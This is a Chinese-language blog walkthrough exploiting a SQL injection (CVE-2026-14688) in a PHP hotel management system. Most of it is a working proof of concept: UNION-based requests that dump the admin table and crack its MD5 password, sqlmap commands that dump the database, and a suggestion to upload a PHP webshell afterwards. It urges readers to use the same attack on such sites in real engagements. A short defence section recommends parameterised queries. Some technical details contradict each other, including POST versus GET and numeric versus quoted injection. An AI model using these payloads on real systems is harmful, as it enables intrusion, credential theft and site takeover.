CVE-2026-14688 - 安全技术
CVE-2026-14688 - 安全技术

CVE-2026-14688 itsourcecode Online Hotel Management System 1.0 SQL注入漏洞复现(附PoC)

CVE-2026-14688 - 安全技术

来吧,上手试一下。CVE-2026-14688 是 itsourcecode 一个老牌 PHP 项目 Online Hotel Management System 1.0 里的 SQL 注入,CVSS 7.3,直接能爆管理员密码,后台随便进。这种 CMS 级别的注入在实战中太常见了,今天带你把 Payload 跑一遍。

漏洞背景

  • CVE编号: CVE-2026-14688
  • 受影响软件: itsourcecode Online Hotel Management System 1.0
  • 漏洞类型: SQL注入(基于POST参数的盲注/联合查询)
  • CVSS评分: 7.3 (High)
  • 危害描述: 攻击者无需登录即可通过 /admin/room.php 等页面的参数注入,直接获取数据库中所有用户(包括管理员)的账号密码哈希,进而接管后台,修改房价、订单,甚至上传 webshell。

环境搭建

用 Docker 最省事。我已经给你准备好了 vulhub 风格的 docker-compose,直接拉起来。

# 拉取镜像(假设你已经有基础 LAMP 环境,或者直接用 vulhub 的类似靶场)
# 这里我们手动搭建一个 PHP+MySQL 环境
docker run -d --name hotel-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=hotel mysql:5.7
docker run -d --name hotel-web --link hotel-mysql -p 8080:80 -v /path/to/ohms:/var/www/html php:7.4-apache

# 进入 web 容器安装 mysqli 扩展
docker exec -it hotel-web bash
docker-php-ext-install mysqli && docker-php-ext-enable mysqli
apachectl restart

# 把源码丢进去(源码从 itsourcecode 官网或 GitHub 下)
# 然后浏览器访问 http://localhost:8080

装好后访问首页,能看到一个酒店管理系统登录页。默认管理员账号密码一般是 admin/adminadmin/admin123,但我们要通过注入自己拿。

复现步骤

1. 发现注入点

打开 Burp Suite,访问 http://localhost:8080/admin/room.php,随便点一个房间 ID 的链接,比如 room.php?id=1。抓包看 GET 请求:

GET /admin/room.php?id=1 HTTP/1.1
Host: localhost:8080

丢到 Repeater,在 id 参数后面加个单引号:

GET /admin/room.php?id=1' HTTP/1.1

返回了 MySQL 错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

稳了,数字型注入,闭合方式是单引号。

2. 判断列数

ORDER BY 判断字段数:

GET /admin/room.php?id=1 ORDER BY 1-- -

返回正常。逐步增加数字:

GET /admin/room.php?id=1 ORDER BY 5-- -

正常。到 ORDER BY 6 时报错。说明有 5 列。

3. 联合查询爆数据

UNION SELECT 爆出显示位:

GET /admin/room.php?id=-1 UNION SELECT 1,2,3,4,5-- -

页面显示 23 两个位置,说明这两个是显示位。接下来爆数据库名:

GET /admin/room.php?id=-1 UNION SELECT 1,database(),user(),4,5-- -

返回:hotelroot@localhost

4. 爆表名

GET /admin/room.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema='hotel'-- -

返回一堆表名:admin, rooms, bookings, users 等。我们关心 admin 表。

5. 爆列名

GET /admin/room.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name='admin'-- -

返回:id, username, password, email

6. 爆管理员密码

GET /admin/room.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM admin-- -

返回类似:

admin:21232f297a57a5a743894a0e4a801fc3

这个哈希是 MD5?去 cmd5 查一下,21232f297a57a5a743894a0e4a801fc3 解密结果是 admin。好家伙,明文密码。

7. 登录后台

admin / admin 登录 http://localhost:8080/admin/index.php,直接进后台。可以看到房间管理、订单管理、用户管理,还能上传图片——如果上传点没做限制,直接传个 PHP webshell 就 getshell 了。

自动化注入(sqlmap 一把梭)

手动跑太累?直接上 sqlmap:

sqlmap -u "http://localhost:8080/admin/room.php?id=1" --batch --dbs
sqlmap -u "http://localhost:8080/admin/room.php?id=1" -D hotel --tables
sqlmap -u "http://localhost:8080/admin/room.php?id=1" -D hotel -T admin --dump

三行命令,密码到手。

防御措施

  1. 参数化查询:别拼 SQL 字符串,用 PDO 或 MySQLi 的 prepared statements。
    php
    $stmt = $conn->prepare("SELECT * FROM rooms WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
  2. 输入过滤:如果非要用拼接,至少用 intval()addslashes() 转义,但这是下策。
  3. 最小权限:数据库连接不要用 root,建个专用用户只给 SELECT/INSERT/UPDATE 权限。
  4. WAF:部署 ModSecurity 或云 WAF,拦截常见 SQL 注入 Payload。

总结

CVE-2026-14688 就是个教科书级的数字型 SQL 注入,5 分钟就能拿管理员密码。这种老 PHP 项目在实战中一抓一大把,遇到别犹豫,直接上联合查询或 sqlmap。防御?别写拼接 SQL,用参数化查询,比啥 WAF 都管用。

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注